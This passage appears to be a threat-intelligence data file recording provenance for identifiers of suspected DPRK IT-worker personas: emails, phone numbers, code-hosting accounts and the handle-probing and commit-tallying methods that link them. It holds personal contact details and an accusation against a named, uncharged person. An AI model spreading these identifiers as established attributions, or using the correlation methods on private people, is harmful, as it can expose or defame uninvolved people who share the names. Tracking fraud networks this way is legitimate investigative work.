johnpatch0502, which no longer resolves.","Two of several names the researcher says one operator uses. The post attaches a cropped identity photograph and a still from a video call where the name in the corner of the frame reads Ryan Stringfellow (Unverified).","Applicant profile the researcher assesses as a DPRK IT worker. The LinkedIn account gives Senior Software Engineer, Sheridan, Wyoming, 28 connections and is marked open to work, listing Gusto and the National University of Singapore; the researcher notes it was three months old, and reads Walmart as a claimed past employer and that university as furniture these accounts reuse. The banner spells the job title SENIOR SOFTWARE EGNINEER. The name is the only value the post publishes, and it is recorded as that.","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Altoona, Iowa and the role it presents as Senior .NET Full Stack Engineer, and the contact details above. The record adds a LinkedIn profile from the persona's working files. Across the site's records, +19783919978 also appears on the record for Larry Levine. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Read 2026-09-24 by searching GitHub commits for the persona's address. GitHub credited commits signed ryanwhite11391@gmail.com, the persona's address, to Ryan900725. The account has since been deleted.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under ryuheimat, a login the index already carries for this persona on another platform. The profile gives a member-since date of 11 September 2018. It displays the name Ryuhei Matsuda, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 17 September 2026 by asking Keybase whether an account exists under ryuheimat, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 17 May 2022 and no display name but the handle itself. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 17 September 2026 by asking Docker Hub whether an account exists under ryuheimat, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 11 July 2018. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- ryuheimat3 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Ryuhei Matsuda. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 24 September 2026 by searching GitHub's commit index for every personal address the lazarus.group registry gives for a persona, and keeping the accounts whose own repositories are committed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so former handles below are a matter of record.\n\ngithub.com/jcking89 is account id 40835770, created on 4 July 2018, with 89 public repositories. Forty-nine commits in nineteen of them are signed ryuheimat3@gmail.com, an address lazarus.group and tayvano give for Ryuhei Matsuda, which GitHub attributes to github.com/ryuheimat, the account both list for the persona. They carry the author names ryuheimat, Ryuhei Matsuda, ryuhei and r2moon and are made on the day each repository was created, from cryptoExchange on 6 January 2021 and LendBorrow on 3 June 2021 to simple-univ3-integration on 6 July 2023; in all but one of the repositories read they are the only commits. An account whose repositories are opened with the persona's identity, over two and a half years, is the persona's second account or one it has push access to.","Found on 12 September 2026 by searching the open web for the account handles this site already holds for this operator, and read directly from the page cited. The npm registry entry for dain-sdk, \"DAIN prediction’s TS sdk\", names its author as Dainmoly — the handle this operator is already indexed under — and carries the publishing account dainsm with the address dainsm@proton.me, which this site did not hold. The package repository is github.com/dainmoly/dain-sdk, versions 0.0.1 to 0.1.1, published between 1 November 2024 and 16 January 2025. The package is recorded because of who published it, not because anything about it is malicious: nothing here says this code is harmful, and it should not be read as a detection.","The researcher gives Salbatore Pazarella as one of several names this operator uses, and attaches a resume laid out under the name William Clark, Fullstack and Software Developer, giving Montreal, Canada as the address and TEKsystems from 2015 as the first role.","Two persona names sharing one Telegram handle, silvani777, and one LinkedIn slug, with a Skype id and a phone number given for each; the chart links the identity to Liu Jian Hua and, with a question mark, to an ungrouped GitHub account silvani214 as possibly the same Silvani. Transcribed from the researcher's chart, which groups every account under the name it gives here and draws its links from mutual follows, shared contact details and repositories carrying one another's details. The chart also gives Discord handle santiagourregobotero_61780, for which this site has no extractor. Accounts on platforms this site does not index, as the chart lists them: stackoverflow.com/users/20988762/william-harris, cake.me/me/santiago-urrego-botero?locale=fr, stackoverflow.com/users/22406929/santiagourregobotero, rocketreach.co/santiago-urrego-botero-email_724489933, awstip.com/overlay-with-own-url-in-react-b579286f5db4.","Found on 17 September 2026 by asking Hugging Face whether an account exists under santiagourregobotero, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a display name of Santiago Urrego Botero. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Hayden McKenzie publishes this as one of 53 generated female personas in a DPRK IT worker cell's account register, each built around an Outlook mailbox and a LinkedIn profile for an identity based in Japan; the address above is that mailbox. The register marks no LinkedIn profile as created for it. The report The Women Behind North Korea's IT Worker Operations, published the same day, attributes the register to a first-time operative the cell calls Jasmine Bell, who built it in her first weeks after being told to favour European identities because U.S. profiles were too troublesome to create; its own table counts 57 Outlook accounts across the eight country tabs, four more than the site publishes records for. The name is a generated identity, not the operator's, and a real woman who shares it is not the worker.","Hayden McKenzie's report names him as CEO of MageHire and, with high confidence, as the U.S. citizen who fronts the cell's placements: he holds the client relationships, relays one-time codes for the operatives' client accounts, and signed a client's device attestation. McKenzie's alias record gives the address, number and LinkedIn account above. This site's own reading of MageHire (its Florida filing, with him as sole member, and a GitHub account that committed as the operative Leo before taking his name) is on the MageHire indicators. He has not been charged.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under scott_brown_b611d05a865cf, a login the index already carries for this persona on another platform. It gives a joined date of Jul 22, 2024. It displays the name Scott Brown, the same name the reporting already gives. The profile links a GitHub account, nevermindhim. It gives a location of Bergen, Norway. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- scottbrown0629 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Scott Brown. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- scottbrown0629 -- and asking Docker Hub whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 16 October 2024 and a display name of Scott Brown. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","The post records a stated location of Texas alongside a claimed university in Kyiv.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The portfolio's identity block pairs the sebastian.robinson.info address with a phone number and a set of Superdev0909 accounts on six platforms; the GitHub account has since been removed.","Nisos's report of 19 March 2025, \"Likely DPRK Network Backstops on GitHub, Targets Companies Globally\", published on its site and as a LinkedIn article whose full text is a PDF, tracks personas posing as Vietnamese, Japanese and Singaporean developers that reuse matured GitHub accounts and portfolio content from older personas, and whose addresses recur with the number 116 and the word dev. The values here are from the report's contact table and its footnotes. The companies the personas list as employers are not carried as indicators. The report attributes the superbluestar username jointly to this persona and Naoyuki Tanaka, and shows the persona's linktr.ee photograph to be an advertising image of another person. The repository shaorun-dev116.github.io, held by github.com/kamaalsultan, is where the report shows the persona being built. The report gives the phone number as 323 412 8387 with no country code; 323 is a Los Angeles area code, so it is carried as a United States number.","Published as a reply to a @browsercookies post. The researcher calls the identity highly suspicious on the grounds that it claims degrees from Canada and Germany and work in Spain, Denmark, Germany and the United States twice, almost all of it remote. Transcribed by hand from the screenshot published in the cited post, read at full resolution rather than from a thumbnail. The screenshot shows the display name Shiny Girl over the GitHub handle goldsunshines, a bio reading \"Backend, automation, bot dev\", and 534 followers against 700 following.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/noahstoner is account id 135434950, created on 3 June 2023, display name Noah Stoner, bio Devops & Software engineer, location United States, 910 followers. 98 of its 100 own commits are signed shine401020@gmail.com, an address unpacker gives for the identity the researcher calls Shiny Girl, and four commits in its repositories are signed towardsunshine7@gmail.com, which the same post gives for it.","github.com/starmaster1126 is GitHub account id 52027648, created on 20 June 2019, and is a different account from github.com/starmastar1126, which is id 67782634 and which this index already holds under \"Accounts tied to the mr.new0509 address by email reuse\". The two handles differ by one letter, starmastER against starmastAR, and both end in 1126.\n\nThe link is the display name rather than the handle. Walking the repositories of starmastar1126 on 19 September 2026 recovers 50 commits authored by 52027648+starmaster1126@users.noreply.github.com under the name Silas Jo. The same repositories carry two commits from 67782634+ministar1126@users.noreply.github.com, also under the name Silas Jo, and that address belongs to the held account itself: GitHub mints a noreply address from the account's immutable numeric id, and 67782634 is starmastar1126 under a former handle. The candidate therefore commits under a name the held account uses of itself, which is the test this index applies to separate a holder's own second identity from the upstream author of a repository that was copied in.\n\nTwo further details agree with that reading without being relied on for it. The profile name on starmaster1126 is StarMaster DevGenius, against the StarMastar DevGenius that the held account signs its own commits with, again one letter apart. And both of the candidate's public repositories were created and last pushed on 21 October 2019, the same-day pattern that separates these accounts from ordinary ones.\n\nWhat is not filed here is worth recording too. github.com/dylanwilliams1126, account id 170390436, also commits into starmastar1126 and its address dylanwilliams1126@gmail.com appears in that account's history, but it does so once and under its own name rather than one the held account uses. One commit under an unshared name is what an ordinary contributor looks like, so it is left out. The same applies to the other accounts a ranking pass surfaced on 20 September 2026: committing into a held account's repository is how that pass selected them in the first place and is not evidence of anything on its own.\n\nThe account was live when read on 20 September 2026. No persona is attached, because the group it joins carries none.","Read on 21 September 2026 by walking the commit history of every repository on github.com/everythinguwannatobe, an account reached because its Next.js_swap repository is byte for byte the one the account filed under ZEUS holds. The ZEUS-DEV-919 working document, from which this persona is transcribed, gives one address for Spencer Duncan, timdonerpower@gmail.com, and this account signs 1,948 commits with it, under the names TimDoner, spencerduncanpower and its own login. A second address, spencerduncanpower@gmail.com, signs 702 more under the account's own login and is recorded here as the same holder's: it is the persona's name as a mailbox, used on the same account beside the address the document published. github.com/spencerduncanpower also exists as an account, created on 3 March 2023 with no public repositories, and a third login, nicholasduncanpower, is attributed two commits in these repositories. The account was created on 29 October 2022, holds 57 repositories of which 17 were created on 30 October 2023, and its profile reads Senior Software Engineer under the display name BE THE BEST BEST!. Its Next.js_swap was created on 29 October 2022 with 13 commits signed TimDoner; the ZEUS account's copy was created on 16 January 2023 and its oldest commit is dated 1 December 2022, so the code moved from this persona to that one. Two personas holding one another's code is recorded as a link between the entries, not as one hand.","Found on 24 September 2026 by searching GitHub's commit index for every personal address this index transcribes from researchers' posts, and keeping the accounts whose own commits are signed with one. GitHub mints a noreply address from an account's immutable numeric id, in the form id+handle@users.noreply.github.com, so the former handles below are a matter of record. Counts of an account's own commits are over the 100 that GitHub's search returns for it.\n\ngithub.com/luckypenny1632333 is account id 177725156, created on 7 August 2024, display name Lucky Penny, bio Sr. Software Engineer, location Hong Kong. All 100 of its own commits in GitHub's search are signed stevenpiao0822@gmail.com, an address browsercookies gives for Steven Leal. Three commits in its repositories are signed alenschmitt415@gmail.com, which the account filed under Mark Santiago, github.com/marksantiago290, also commits with.","Found on 29 September 2026 by searching GitHub's code for the handles this site already holds for the persona (luckypenny1632) and reading the files that name them: contact blocks, profile READMEs and portfolio data in the persona's own repositories or in repositories that credit its accounts. Each value is cited to the file it was read from. Values in copied templates, client team pages and test data are not carried.","Both GitHub accounts are read by hand from the two attached screenshots, one headed Steven Roark with the handle trustmeforever and a single repository, the other headed GL-Man with the handle gl-man and 65 repositories, which is the set of cryptocurrency projects the post points at. The post presents the two captures together as one operator. This is one of the names docs/x-source-backlog.md had been carrying as unresolved.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub accounts github.com/gl-man and github.com/trustmeforever, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The addresses recorded here were not already in this index: trustyman77@hotmail.com authored 173 commits across 45 of its repositories, commits as \"gl-man\"; workusa38@gmail.com authored 1 commit across the repository trustmeforever/password-validation, commits as \"trustmeforever\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under sallamy2580, a login the index already carries for this persona on another platform. It gives a joined date of Jul 24, 2022. It displays \"Superpol@ris\", a display name rather than a person's name. The profile links a GitHub account, sallamy2580. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. This is the account the whole compilation is built around. The document reads its repositories as publishing the personas, cover letters, resumes and operating procedures the rest of the table is drawn from, and notes the SuperStar moniker as one it says recurs across DPRK accounts. The Drive folder it names is attributed to the address here.","Transcribed from the ZEUS-DEV-919 working document, an unsigned compilation published as a Google Doc and linked from a repository on the zeus-dev919 GitHub account. The document describes itself as raw data with no filtering applied and asks a reader to verify every linkage before acting on it, so it is carried here as that compilation's claim and not as a finding of this site. Its persona table pairs each name with the address and Skype identifier the application used. The Skype number here is the same one the table gives against Brian Cook, which is a link the document does not itself draw and is recorded only as the coincidence of values that it is.","A ten-part thread responding to tanuki42's work on this persona, of which parts two, four and nine carry the indicators. It corroborates six values this site already held from tanuki42 independently, including the address, the telephone number, the cryptotrading2150 Telegram account and the deleted 0xbomb215 GitHub account, and adds the six recorded here. The link the thread rests on is a commit trailer in the repository miracle709/Robo-Apply, where a commit authored by 0xbomb215 carries a co-author line naming xsen215 at narutodev215@outlook.com; that is a checkable artefact rather than an assertion, and it is why these identifiers are recorded while the thread's database-only claims are not. The thread also states that 0xbomb215 has since been deleted. Parts three, five, seven and nine continue past the text this pass was able to capture before X throttled the session, so this entry is what those posts state up to that point rather than the whole of them. The address miracle7091@outlook.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","Found on 17 September 2026 by asking Docker Hub whether an account exists under highgoal215, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 15 August 2025 and a display name of High Goal. The display name is kept here rather than as an alias, because it restates the handle, describes the work, or repeats what this operator is already called. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/HighGoal1991, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: iuri39493@gmail.com authored 488 commits across 7 of its repositories, commits as \"HighGoal1991\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","The post addresses the operator as Tavaris and gives the address in the post text, remarking on the North Korean flag visible in the imagery the persona's photograph was taken from. The persona name is the one the address itself carries; the post asserts no surname beyond it.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as Angola, Indiana, the role it presents as Senior Mobile Engineer, and the contact details above. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. When the site published its fourth report on 23 September 2026 the record grew by a mailbox, a number and a LinkedIn profile drawn from the persona's own working files, cited to that date. Across the site's records, +15747668586 also appears on the record for Michael Li. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","Silent Push reports a job advertisement posted to a Discord server named Mouse Review by the account tecguru113, seeking people in the United States, the European Union and Latin America to sit on camera in job interviews and receive salaries on behalf of whoever placed the ad, for 35 percent of the pay. Its analyst contacted the Telegram handle in the ad under a fake persona, spoke with the representative, who called himself Tec Guru, by text and on a video call, and assesses with high confidence that he is a North Korean IT worker, resting that on the financial, operational and infrastructure data he provided rather than on his behaviour on the call. The Telegram handle is in the report's text; the telephone number is read from the advertisement image the report publishes, at full resolution. The name is what the representative called himself and settles nothing on its own.","The address is transcribed by hand from the LinkedIn cover image in the third attached screenshot, read at four times its published size to confirm the spelling. The post's own point is that these identities print their contact details into the banner artwork, which is where this one sits rather than in any contact field.","The post consists of the single word DPRK and this one image: a LinkedIn profile under the name Thomas (Tom) Ray Cupples, headlined as a senior software engineer in JS, TS, Python, C# and machine learning for healthcare software, located in Yuma, Tennessee, with 80 connections and a University of Tennessee Knoxville entry. A one-word caption is the thinnest assertion anything in this file rests on, and it is recorded as the researcher's, with the text quoted here so a reader can weigh it for themselves.","Read on 18 September 2026 from GitHub's user search on the persona's name. The account thomascupples was created on 3 July 2026 and filled with thirteen repositories over 6 and 7 July 2026, among them a portfolio, a crypto price-alert tool, a bitcoin wallet API and an arbitrage bot; its profile README introduces Thomas Cupples as a Senior Full Stack Developer and Professional Technical Writer with around 17 years in web2 and web3, gives the outlook.com address as the contact, and embeds statistics images that still point at another developer's account, envoy1084, which is where the README text was copied from. The LinkedIn address was found through Google's index on the same day under the title Thomas Cupples - Senior Software Engineer, the headline in the researcher's May 2025 capture, and the page returned LinkedIn's does-not-exist notice when opened, so it is recorded as removed. A real, long-established Thomas Cupples, a Baltimore senior software engineer whose history runs through two healthcare software companies, is visible in the same search results, and the persona's claimed healthcare specialism reads as borrowed from that history; that person holds the plain thomascupples LinkedIn slug and is not this account. The name is what links this account to the rest; nothing here establishes that one person holds both, and the entry records what the account itself states.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- henryzhang -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a display name of Henry Zhang. The display name is kept here rather than carried as an alias, because it restates the handle, describes the work, or is too bare to be a name. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- henryzhang -- and asking Keybase whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states a registration date of 1 February 2020 and no display name but the handle itself. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by walking the commit history of every repository on the GitHub account github.com/solutionGuru0129, already held under this persona, and tallying the author line on every commit. A commit's author line is what the holder configured their git client with rather than anything the profile page chooses to display, so it recovers addresses the account never states. The address recorded here was not already in this index: SharpAttack0129@outlook.com authored 1492 commits across 32 of its repositories, commits as \"solutionGuru0129\". Each is admitted because it commits under a name the account itself uses, which is the test that separates the holder's own address from the original author of a repository copied in. Addresses belonging to unrelated developers whose work appears in these repositories are deliberately not recorded, and an address is evidence that whoever held it wrote those commits rather than proof of who holds the account.","The first post calls this another ZEUS profile and describes the operator as a blockchain developer. The second, from a different thread the same day, ties the address cccodechef@gmail.com back to the GitHub account zeus-dev919. The researcher writes both addresses without a top-level domain, as choitony9412[@]gmail and cccodechef[@]gmail; the screenshot attached to the first post settles the first of them, showing choitony9412@gmail.com in full on the GitHub profile page, and the same completion is applied to the second. That screenshot also carries a portfolio site under the name Tony Choi, whose domain is not visible in the capture. The address accompaniedwithyou@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","Second newly created LinkedIn profile in the same post, shown as Trey R., .NET Full Stack Developer, Austin, Texas, 151 connections, marked open to work, listing the University of Texas at San Antonio. The post gives the full name as trey ruiz. docs/x-source-backlog.md carried this name as Trey Rui for months, which the post itself corrects.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The Ryan Choi portfolio lists the choi.link227 address and the wpickachu GitHub account this site already holds together with a LinkedIn profile and an X account.","Read on 20 September 2026 by searching GitHub for accounts whose display-name field carries a name this index already holds. The post that names this persona publishes no address and no code-hosting account for it, so both accounts here are new to the record. Exactly two accounts on GitHub display this name and neither handle resembles it. humble0415 was registered on 24 March 2022, states a bio offering senior back-end engineering, holds two repositories — one of them named TMG, and each created and last pushed on a single day — and has no followers and follows nobody. dreamtech777 was registered on 21 May 2025, holds no repositories at all, was last updated three minutes after it was created, has no followers and follows nobody, and publishes tylerminegar.top3@gmail.com on its profile. What raises this above a coincidence of display names is a number. The bulk IT-worker datasets this site already carries hold tylerminegar0415@gmail.com and tylerminegar7@gmail.com, and the two handles are humble0415 and dreamtech777. The 0415 in the first is the 0415 in an address this index already held, which is a value rather than a resemblance between two names, and the account displaying that name beside it is what makes the pair worth recording together. The third address is published by the account itself. Its .top3 suffix is the shape of an address created in a numbered series rather than chosen once. None of this establishes who holds either account, only that these accounts present this name and that one of them carries a number an address in this index carries.","Hayden McKenzie publishes this as one of the aliases tracked across the three investigations the site cites, on a per-alias record that gives its location as New Caney, Texas, and nothing else. The alias pages carry no date of their own, so the date cited is the site's own \"Updated 19 Aug 2026\" stamp, the last date it states anything was published. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","The dreampioneer handle across GitHub, Keybase, Trello, Medium and a Vercel portfolio, with a YouTube channel the chart lists. Transcribed from the researcher's chart, which groups every account under the name it gives here and draws its links from mutual follows, shared contact details and repositories carrying one another's details. Accounts on platforms this site does not index, as the chart lists them: keybase.io/dreampioneer, youtube.com/channel/UCKtEuGPfIpTxFah5vdMHHiQ, github.com/dreampioneer/Grubhub-Nodejs-Sample/stargazers.","Found on 17 September 2026 by asking Keybase whether an account exists under dreampioneer, one of the logins the registry already holds for this operator, and read from the profile cited. The account states a registration date of 10 April 2024 and no display name but the handle itself. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 28 September 2026 from the site's own page and the script bundles it loads. The portfolio, which already carries the dreampioneer GitHub account and address, links an Instagram account in its footer.","Found on 12 September 2026 by searching the open web for the account handles this site already holds for this operator, and read directly from the page cited. A portfolio site the operator publishes under its own GitHub Pages account, presenting as WILLIAM HARRIS with \"10 years of experience of software development and technical writing\" and a skills wall running from Solidity to TensorFlow. Its contact block is the useful part, because it gathers in one place identifiers this site held separately and adds two it did not: the address williamharris0214@gmail.com, a second Skype identifier live:.cid.456097f8358a684a, a WhatsApp link and a tel: link both to +1 646 480 0703, a Telegram link to t.me/silvani777, a Discord invite discord.gg/jRrTSsND, a StackOverflow account at stackoverflow.com/users/20988762/william-harris, and — under a page headed William Harris — a LinkedIn link to linkedin.com/in/santiagourregobotero/. The site naming one identity while linking another’s LinkedIn is the page’s own doing, not an inference drawn here. The Discord invite and the StackOverflow account are recorded in this note rather than as indicators of their own: neither has a type in this index, and an invite code is a door rather than an identifier. The second portfolio, portfolio-santiagourregobotero.vercel.app, was read the same day and is the same site with a different person in it. Identical template, identical skills wall down to a duplicated entry for Dart, and a contact block built the same way — but headed SANTIAGO URREGO BOTERO, claiming \"over seven years of commercial experience\" against the other page’s ten, and a National University of Singapore degree dated 2014 to 2018 against the same university dated 2009 to 2014. What ties the two pages is not the template but the contact details they share: the same Telegram account, t.me/silvani777, and the same Discord invite, discord.gg/jRrTSsND. Each page also carries its own StackOverflow account, its own Gmail address, its own GitHub, and its own Skype identifier, which this site reads as one operator maintaining two complete CVs rather than one identity drifting; that is an inference drawn here, and nothing on either page states it. It also settles a loose end. The telephone number this index holds as +1753362648 is nine subscriber digits where a North American number needs ten, and it was transcribed from a researcher’s chart; this page publishes it twice itself, as tel:+1753362648 and as wa.me/1753362648, so the malformed number is the operator’s own and not a transcription error.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under santiagourregobotero, a login the index already carries for this persona on another platform. The profile gives a member-since date of 1 February 2024. It displays \"Santiago Urrego Botero\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under santiagourregobotero, a login the index already carries for this persona on another platform. It gives a joined date of Oct 22, 2023. It displays \"Santiago Urrego Botero\", a display name rather than a person's name. The profile links a GitHub account, santiagourregobotero. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against dev.to, and read from the profile's own public API. An account exists under williamharris0214, a login the index already carries for this persona on another platform. It gives a joined date of Feb 15, 2023. It displays the name William Harris, the same name the reporting already gives. The profile links a GitHub account, williamharris0214. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Read on 20 September 2026 by tallying which GitHub logins have authored commits in the repositories of github.com/williamharris0214, an account already held under this persona. hot214 has authored six of them. It was registered on 12 April 2023, three months after williamharris0214, holds five public repositories, displays the name Silvani, and publishes hot214.dev@gmail.com on its profile, an address this index did not hold. It has no followers and follows two accounts. The handle shares the digits 214 with the account whose repositories it commits in; that is a coincidence of naming, while the address is a value the account states about itself. Two further logins commit in the same repositories, sky-hugger and ddriverdev999, and are recorded nowhere here because nothing beyond the shared repository connects them.","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address holloway.william.b@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. This is the thread’s closing post and the one exception to its one-address-per-picture shape: it carries two addresses and a GitHub account together — holloway.william.b@gmail.com, agronkercishta.ai@gmail.com and github.com/goldgrandmaster — and the researcher does not say whether they belong to one operator or to three. The photograph is filed here, with the first address; the other two remain recorded as unattributed values rather than being gathered onto this page. The name is this site reading the address, not a name the researcher gave: the post pairs an address with a picture and attributes neither to anybody.","Read on 24 September 2026. lazarus.group attributes three GitHub accounts to the Eric Liu persona, github.com/vigorousdeveloper, github.com/SuperVenus0725 and github.com/Jason07250000, with the commit addresses vigorousdevelopment524@gmail.com and venus07250000@gmail.com; tayvano lists the same accounts. Searching GitHub for commits signed with those two addresses finds them inside repositories owned by six accounts this index did not hold. The accounts are recorded here as people the persona worked beside, not as further accounts of the persona: each commits under its own address and name, and nothing read so far shows one hand behind them.\n\nThree of the six were created on one day. github.com/loveFeynman (account id 95080253) was created at 10:53 UTC on 26 November 2021, github.com/kdbvier (95093693) at 15:34, and github.com/nightskydev (95094109) at 15:42, eight minutes after kdbvier. github.com/sheriff-rango (95250818) followed on 29 November 2021.\n\nThe work is contemporaneous, not copied. In kdbvier/steampunks, kdbvier signed 21 commits and vigorousdeveloper 11 between 7 and 20 June 2022, and in kdbvier/Juno-Farming vigorousdeveloper signed 12 between 15 and 23 June 2022, followed by Jason07250000 in July. kdbvier/binance-trading-bot holds only the persona's commits, from January and April 2022. In nightskydev/picasso_frontend, created 19 June 2022, nightfury1111111111 signed 35 commits with linjay0208@gmail.com (the nightfury1111111111 account has since been deleted), the address every commit of nightskydev's own is signed with, while vigorousdeveloper signed 12 and kdbvier 6 over the same weeks; nightskydev/picasso_contract holds only the persona's commits. loveFeynman created mirror_protocol_stake_withdraw on 19 January 2022 and the persona committed into it as Eric Liu two days later; in loveFeynman/maui-frontend the two alternate across 2 to 5 January 2022. loveFeynman signs its own commits wando0226@gmail.com and willyu226@gmail.com under the names loveFeynman, wando and William Yu, and four commits signed William Yu with wando0226@gmail.com sit in vigorousdeveloper/NFT-AUCTION, dated 9 to 12 February 2022. sheriff-rango signed at least 99 commits in kdbvier/nfthope between 14 July and 13 September 2022. In frozenflux2/Solana_FE, created 23 February 2024, SuperVenus0725 committed with both of the persona's addresses in March 2024 beside frozenflux2's own aurora518star.com@gmail.com.\n\nThe follow graph agrees. SuperVenus0725 and loveFeynman follow each other, as do loveFeynman and sheriff-rango; vigorousdeveloper follows loveFeynman, kdbvier and nightskydev; kdbvier follows loveFeynman and SuperVenus0725.\n\nCode also moved from these accounts into the persona's portfolio and back. loveFeynman's human_marketplace, first committed 13 August 2022, reappears with its history in SuperVenus0725/humanmarket (created 24 October 2022), sheriff-rango/HumansMarketplace and Calebtan978/HumansMarketplace. sheriff-rango created 24 repositories on 14 November 2022, 14 of which carry Jason07250000 commits from June 2022, and Calebtan978 holds eight carrying the same address.\n\nCalebtan978 is filed on weaker ground than the other five. Its repositories are copies rather than shared work, created in May 2023 over commits from 2022. What adds to it is the account itself, id 132147781, created at 14:02 UTC on 29 April 2023, four minutes after github.com/niceDeve (132147539), which this index holds from Coinmonks' reporting on 